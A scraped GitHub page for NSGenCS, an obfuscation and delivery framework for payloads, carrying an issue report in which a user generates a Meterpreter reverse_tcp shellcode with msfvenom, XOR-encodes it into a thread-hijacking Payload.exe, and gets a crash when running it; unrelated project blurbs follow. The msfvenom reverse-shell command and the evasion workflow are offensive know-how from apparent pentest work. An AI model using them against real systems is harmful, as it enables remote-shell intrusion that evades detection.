t3hbb / nsgencs Goto Github PK
View Code? Open in Web Editor NEWExtendable payload obfuscation and delivery framework
Extendable payload obfuscation and delivery framework
Hi,
Environment:
Windows 10 x64
Python 3.10.2
.NET SDKs installed:
6.0.201 [C:\Program Files\dotnet\sdk]
Steps to reproduce the error
Unhandled Exception: System.IndexOutOfRangeException: Index was outside the bounds of the array.
at ThreadHijack.Main(String[] args)
Use msfvenom to create a .cs file
msfvenom -p windows/x64/meterpreter/reverse_tcp -f csharp LPORT=4444 LHOST=x.x.x.x -o meterpreter.cs
The template file in the Thread_Hijack directory appeared to be modified already. When I searched for payload it was not found in the file.
Ran the following
python3 NSGenCS.py -file meterpreter.cs -method xor -key 0xbb -template Thread_Hijack
> Creating encoded shellcode from CS file
> Generating payload
> Cleanup
Microsoft (R) Build Engine version 17.1.0+ae57d105c for .NET
Copyright (C) Microsoft Corporation. All rights reserved.
Determining projects to restore...
Restored C:\Users\mark\pentest\NSGenCS\Thread_Hijack\Payload.csproj (in 212 ms).
Payload -> C:\Users\mark\pentest\NSGenCS\Thread_Hijack\bin\Release\net45\win10-x64\Payload.exe
Payload -> C:\Users\mark\pentest\NSGenCS\Thread_Hijack\bin\Release\net45\win10-x64\publish\
1 file(s) copied.
If you didn't see a bunch of red lines before this message, you should see payload.exe now :)
C:\Users\mark\pentest\NSGenCS>payload.exe notepad
Unhandled Exception: System.IndexOutOfRangeException: Index was outside the bounds of the array.
at ThreadHijack.Main(String[] args)
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.